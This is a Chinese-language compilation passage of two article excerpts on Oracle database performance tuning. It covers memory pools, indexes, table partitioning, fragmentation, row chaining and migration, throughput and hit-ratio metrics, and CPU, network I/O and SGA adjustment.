(4) 大型池。大型池是一个可选的内存配置项, 主要为O-racle多线程服务器、服务器I/O进程、数据库备份与恢复操作、执行具有大量排序操作的SQL语句、执行并行化的数据库等需要大量缓存的操作提供内存空间。
(5) 对这些内存缓冲区的合理设置, 可以大大加快数据查询速度, 一个足够大的内存区可以把绝大多数数据存储在内存中, 只有那些不怎么频繁使用的数据, 才从磁盘读取, 这样就可以大大提高内存区的命中率。
3 数据库的逻辑结构优化
Oracle数据库的逻辑结构是由一些数据库对象组成。逻辑结构优化用通俗的话来说就是通过增加、减少或调整逻辑结构来提高应用的效率, 下面通过对索引的讨论来分析Oracle逻辑结构的优化。
索引是一种可选的与表相关的数据库对象, 用于提高数据的查询效率。索引是建立在表列上的数据库对象, 但是其物理与逻辑结构都不依赖于表。在一个表上是否创建索引、创建多少索引和创建什么类型的索引, 都不会影响对表的使用方式, 只会影响对表中数据的查询效率。数据库中引入索引的目的是为了提高对表中数据的查询效率。如果一个表没有创建索引, 则对该表进行查询时要进行全表扫描;如果对表创建了索引, 在有条件查询时, 系统先对索引表进行查询, 利用索引表可以迅速查询到符合条件的数据。利用索引之所以能提高查询效率, 是因为在索引表中保存了索引值及其相应记录物理地址, 即ROWID, 并且按照索引值进行排序。
4 通过对表的管理进行优化
4.1 表分区
在大量数据处理的项目中, 可以考虑使用分区表来提高应用系统的性能并方便数据管理, 在大型的企业应用或企业级的数据库应用中, 要处理的数据量通常可以达到几十到几百GB, 有的甚至可以达到TB级。虽然存储介质和数据处理技术的发展也很快, 但仍然不能满足用户的需求, 为了使用户大量的数据在读写操作和查询中速度更快, Oracle提供了对表和索引进行分区的技术, 以改善大型应用系统的性能。
4.2 碎片整理
当要满足一个空间要求时, 数据库不再合并相邻的自由范围 (除非别无选择) , 而是寻找表空间中最大的自由范围来使用。这样将逐渐形成越来越多的离散的、分隔的、较小的自由空间, 即碎片。随着时间推移, 基于数据库的应用系统的广泛使用, 产生的碎片会越来越多将对数据库有以下两点主要影响:
(1) 导致系统性能减弱
当要满足一个空间要求时, 数据库将首先查找当前最大的自由范围, 而“最大”自由范围逐渐变小, 要找到一个足够大的自由范围已变得越来越困难, 从而导致表空间中的速度障碍, 使数据库的空间分配越发远离理想状态;
(2) 浪费大量的表空间
尽管有一部分自由范围 (如表空间的pctincrease为非0) 将会被SMON (系统监控) 后台进程周期性地合并, 但始终有一部分自由范围无法得以自动合并, 浪费了大量的表空间。
为了消除区间交叉将静态的或只有小增长的表放置在一个表空间中, 而把动态增长的对象分别放在各自的表空间中。在create table、create index、create tablespace、create cluster时, 在storage子句中的参数的合理设置, 可以减少碎片的产生。
4.3 行链接 (Row chaining) 与行迁移 (Row Migration)
当一行的数据过长而不能插入一个单个数据块中时, 可能发生两种事情:行链接 (row chaining) 或行迁移 (row migration) :
(1) 行链接
当第一次插入行时, 由于行太长而不能容纳在一个数据块中时, 就会发生行链接。在这种情况下, oracle会使用与该块链接的一块或多块数据块来容纳该行的数据。行连接经常在插入比较大的行时才会发生, 如包含long, long row, lob等类型的数据。在这些情况下行链接是不可避免的。
(2) 行迁移
当修改不是行链接的行时, 当修改后的行长度大于修改前的行长度, 并且该数据块中的空闲空间已经比较小而不能完全容纳该行的数据时, 就会发生行迁移。注意, 即使发生了行迁移, 发生了行迁移的行的rowid还是不会变化, 这也是行迁移会引起数据库I/O性能降低的原因。
Oracle在大多数情况下, 行链接是无法克服的。当在不同的表中有大量的链接行, 并且哪些表的行的长度不是很长时, 你可以通过用更大的block size重建数据库的方法来解决它。行迁移主要是由于设置的PCTFREE参数过小, 导致没有给update操作留下足够的空闲空间引起。为了避免行迁移, 所有被修改的表应该设置合适的PCTFREE值, 以便在每个数据块内为数据修改保留足够的空间。可以通过增加PCTFREE值的办法来避免行迁移, 但这种解决办法是以牺牲更多的空间为代价的, 这也就是我们通常所说的以空间换效率。而且通过增加PCTFREE值的办法只能缓解行迁移现象, 而不能完全解决行迁移, 所以较好的办法是在设置了合适的PCTFREE值的后, 在发现行迁移现象比较严重时, 对表的数据进行重组。
5 通过对数据后台的处理进行优化
一般来说, 优化大致可分为两个方面:
(1) 数据库本身的优化。首先和硬件平台有很大的关系, 检查一下硬件配置是否能胜任这样的工作, 如果硬件本身比较差, 那优化的效果也是很有限的。同时, Oracle的启动参数设置合理不合理对系统的性能影响非常大。你的应用有大量的BATCH运行, 属于报表系统类型, 如果能适当调整DB_BLOCK_SIZE, SHARE_POOL等参数, 同时调整ROLLBACK_SEGMENT, 应该能比较大的改善系统的性能。
(2) 程序代码的优化。代码优化有很多GUIDE LINE, 比如查询优化的13条原则, 数据更新时CONSTRANITS的处理等等, 大部分情况下要靠经验来判断效果如何。很难一下子讲清楚。你可以考虑跟踪整个执行过程, 然后把其中占用时间最长的几个操作找出来, 集中精力对这几个部分进行分析 (用一些第3方工具来定量的分析) 。
6 结束语
优化Oracle数据库对提高计算机系统的可用性和效率, 具有非常重要的意义, 特别是在Oracle数据库设计开发阶段, 对逻辑结构和物理结构进行有效的优化设计, 创建一个规划布局合理的数据库, 能从根本上大大提高应用系统的整体性能, 对于以后的数据库性能调整和利用都有很大的益处。
参考文献
[1]孙风栋.Oracle数据库基础教程[M].北京:电子工业出版社, 2008.
[2]Bob Bryla Biju Thomas OCP:Oracle新特性学习指南[M].北京:电子工业出版社, 2005.
ORACLE数据库性能的调整 第8篇
1 性能调整与优化概述
目前, 性能调整作为一项活动在进行, 活动可以通过优化应用程序、修改系统参数和改变系统配置来有效的改变系统的性能。其中性能的调整主要包括了对硬件配置、操作系统和数据库管理系统的配置的调整, 并且对所访问的组件的应用进行详细的分析和优化。性能优化主要是指具备目的性的对所需调整的组件进行有效的改善, 使数据库的吞吐量逐渐变大, 所对应的响应时间逐渐达到最小化。对于数据库性能的调整和优化来说, 要尽可能的减少磁盘访问, 从中获取所需的数据, 数据库性能的调整和优化在一定程度上说是相互循环的, 想要性能达到相应的优化目的, 就必须进行适当的性能调整, 最后再查看优化的结果, 通过这种反复的检查, 最终达到较为满意的结果。
2 数据库系统性能评价指标
2.1 系统吞吐量
系统的吞吐量是指在单位时间内数据库所完成的SQL语句的数目, 这主要是以每秒钟的事务量来进行表示。想要有效的提高系统的吞吐量, 就必须通过减少服务时间, 并在相同的资源环境内做更加多的工作, 或者减少总的响应时间, 从而使工作能够做的更加快。
2.2 用户响应时间
用户的响应时间主要是指用户在提交SQL语句以后来获取相应的结果集的第一行所需要的时间, 并且根据应用做出相应的反应时间, 这个时间一般都是使用毫秒和秒来进行表示。这里的响应时间包括两个方面:系统的服务时间和用户的等待时间。也可以这么说, 想要获取满意的用户相应时间可以通过两个方法来进行, 一种是减少系统服务的时间, 以此来提高数据库的吞吐量, 另一种是减少用户等待的时间, 以此来减少用户访问同一数据库资源所产生的冲突率。
2.3 数据库命中率
由于ORACLE用户进程中所需要的数据一般都是通过缓冲区来进行高速缓存来获取的, 但是用户能否对数据的要求在内存中得到相应的满足, 并且给出快速的响应, 就可以使用缓冲区的告诉缓存命中率来进行有效的衡量, 该比率等于高速缓存命中总数除以对高速缓存的查找总数。此外, 由于从磁盘中读数据的开销要比高速缓存中读数据要开销较大一些。因此, 一般情况下必须使该命中率具备一定的高度。
3 ORACLE数据库性能调整和优化
3.1 调整和优化CPU的使用
CPU是服务器中一个重要的资源, 在使用操作命令的时候, 我们可以准确的看到CPU的整体使用情况。一般情况下, UNIX操作系统的服务器可以使用sar-u命令来查看CPU的使用效率, 对于Windows操作系统来说, 其服务器可以使用性能管理器来查看CPU的使用效率。当服务器处于良好的状态时, 一般是在工作的高峰期, 其CPU的使用率达80%以上。但是如果在繁忙的时期, CPU的使用率处于较低的状态, 那么代表服务器的CPU资源较为富余, 如果在空闲时间, CPU的使用率仍然在80%以上, 那就说明服务器存在一定的问题, 或者说服务器缺乏响应的CPU资源。
3.2 调整和优化网络I/O
由于网络的带宽会在一定程度上影响系统的整体性能, 从而较少了网络的负载。因此, 其可以起到改善系统性能的作用。减少网络I/O主要是将应用逻辑集中在数据库的服务器上, 可以有效的使用ORACLE数据库的触发器、完整约束性、存储函数和存储过程来使在网络上传输的只是调用过程的名字和输出结果, 这样可以有效的减少网络I/O负荷量。
3.3 调整数据库内存分配
由于每一个ORACLE实例都是由一组ORACLE后台进程和系统全局区的一个内存区所组成的。用户进程对这个内存区发送相应的事务, 并且把这里作为调整缓存读取命中的数据的区域, 从而有效的实现加速的最终的目的。此外, 由于SGA的缺省参数设置只能运用在配置很低的计算机上。因此, 在使用的时候要根据数据库的运行情况来对SGA的大小进行相应的调整, 并且在初始化的参数文件中, 有一些参数对SGA的大小有着一定的决定性影响。
4 结论
综上所述, 在应用系统的运行过程中, ORACLE数据库性能调整与优化起着极其重要的作用。工作人员需要根据实际的情况, 来对系统进行相应的调整, 从而使得相关应用的性能得到有效的改善。
摘要:由于ORACLE具备功能和灵活性突出的优越性, 因此它是一个功能极其强大和灵活关系型的数据系统。在数据库的应用类型上是较为复杂的, 不同类型的应用对其系统的要求也是不同的, 所以为了能够满足不同类型的应用系统, 就必须对系统性能进行定期的诊断和调整, 以此来提高系统的运行效率。
关键词:ORACLE,数据库,优化和调整
参考文献
[1]孙风栋, 闫海珍.Oracle 10g数据库系统性能优化与调整[J].计算机技术与发展, 2009 (2) .
[2]廉彦平.Oracle数据库性能优化策略[J].科技信息:学术研究, 2008 (29) .
Oracle数据仓库
声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。如若本站内容侵犯了原著者的合法权益,可联系本站删除。


